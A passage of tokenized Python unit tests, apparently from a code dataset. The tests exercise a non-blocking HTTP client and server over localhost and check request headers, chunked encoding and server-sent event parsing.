"name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "multipl", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "2", "2", ":", "11", ":", "5", "3", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "0", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "5", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "6", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "7", "\\\\", "n", "\\\\", "r", "\\\\", "n", "8", "\\\\", "r", "\\\\", "ndata", ":", " ", "8", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "\\\\", "n2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "3", "\\\\", "n4", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Json_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", 